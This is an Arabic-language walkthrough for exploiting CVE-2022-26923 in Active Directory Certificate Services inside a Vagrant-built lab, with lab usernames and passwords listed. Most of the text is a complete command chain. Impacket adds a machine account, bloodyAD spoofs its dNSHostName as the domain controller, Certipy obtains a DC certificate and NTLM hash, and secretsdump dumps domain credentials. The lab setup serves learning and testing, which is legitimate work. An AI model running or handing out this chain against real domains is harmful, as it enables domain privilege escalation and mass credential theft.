
استغلال لـ CVE-2022-26923
CVE-2022-26923 هي ثغرة أمنية في خدمات شهادات Active Directory (AD CS) تسمح للمهاجم بتصعيد الصلاحيات عن طريق إساءة استخدام المصادقة القائمة على الشهادات. يوضح هذا الدليل الخطوات اللازمة لاستغلال هذه الثغرة باستخدام Impacket و Certipy.
| الجهاز الافتراضي | اسم المستخدم | كلمة المرور |
|---|---|---|
| Windows Server | Administrator | !@windowsadmintest101 |
| Windows Server | testuser | $Vulnerable139 |
| Kali-Linux VM | vagrant | vagrant |
أولاً، قم باستنساخ المستودع الذي يحتوي على الملفات اللازمة:
git clone https://github.com/rayngnpc/CVE-2022-26923-rayng.git
cd CVE-2022-26923-rayng
يحتوي المستودع على مجلدين، كل منهما يحتوي على ملف Vagrantfile لتوفير الآلات الافتراضية. يجب عليك تثبيت Vagrant على جهازك المضيف قبل المتابعة.
قم بتنزيل وتثبيت Vagrant من هنا. أو قم بالتثبيت باستخدام PowerShell:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
انتقل إلى المجلد WindowsServer2022:
cd WindowsServer2022
vagrant up
سيؤدي هذا إلى تنزيل وإعداد Windows Server 2022 VM في VirtualBox.
انتقل إلى المجلد Kali-LinuxVM:
cd Kali-LinuxVM
vagrant up
نظرًا لأن الاستغلال يتطلب شبكة NAT، فقم بتكوين VirtualBox على النحو التالي:
قبل تشغيل الأمر أدناه، تأكد من إضافة VBoxManage إلى متغيرات البيئة الخاصة بك. إذا لم يكن كذلك، فقم بتنفيذ الأمر باستخدام مساره الكامل:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
إذا لم يتم التعرف على VBoxManage، استخدم:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
تأكد من التحقق من كلا الجهازين الافتراضيين في VirtualBox والتأكد من تعيينهما لمحول الشبكة NatNetwork - NatNet1.
يمكنك إنشاء شبكة NAT باسم مختلف، ولكن يجب أن تكون في نطاق IP 10.0.2.0/24.
قبل المتابعة، تأكد من تشغيل كل من Windows Server 2022 و Kali Linux VM.
قم بالوصول إلى آلة Kali Linux الافتراضية لبدء الهجوم.
قم بتحديث ملف /etc/hosts الخاص بك لربط IP وحدة التحكم بالمجال:
sudo nano /etc/hosts
أضف الإدخال التالي:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
احفظ واخرج.
انتقل إلى المجلد CVE-26923 وقم بتفعيل البيئة الافتراضية لـ Python:
cd ~/CVE-26923
source ~/CVE-26923/rayng/bin/activate
باستخدام أداة addcomputer من Impacket:
impacket-addcomputer -computer-name 'PCTEST1' -computer-pass 'testuser' -dc-host 10.0.2.121 -domain-netbios pchau.domain.local pchau.domain.local/testuser:'$Vulnerable139'
ssh [email protected]
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Set-ADComputer PCTEST1 -DnsHostName SERVER2022.pchau.domain.local
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
التحقق من أجهزة الكمبيوتر في المجال:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
انتقل إلى المجلد bloodyAD واستخدم bloodyAD.py لإضافة PCTEST1 إلى المجال:
cd ~/CVE-26923/bloodyAD/
python3 bloodyAD.py -d pchau.domain.local -u testuser -p '$Vulnerable139' --host 10.0.2.121 set object PCTEST1$ dNSHostName -v 'SERVER2022.pchau.domain.local'
تحقق من تعيين PCTEST1 للمجال:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
استخدم Certipy للعثور على الشهادات القابلة للاستغلال:
certipy find -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser'
اطلب شهادة جهاز باستخدام Certipy:
certipy req -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser' -template Machine -ca pchau-SERVER2022-CA
المصادقة باستخدام الشهادة التي تم الحصول عليها:
certipy auth -pfx server2022.pfx
بعد تشغيل أمر certipy auth، سيتم عرض تجزئتين. سيتم استخدام التجزئة اليمنى لمصادقة NTLM.
مثال لإخراج التجزئة:
aad3b435b51404eeaad3b435b51404ee:69079fd4946af567d682d61e121f29e7
استخدم تجزئة NTLM المستخرجة لتفريغ بيانات الاعتماد:
impacket-secretsdump '[email protected]' -hashes :69079fd4946af567d682d61e121f29e7
يكمل هذا سلسلة الهجوم الكاملة لاستغلال CVE-2022-26923.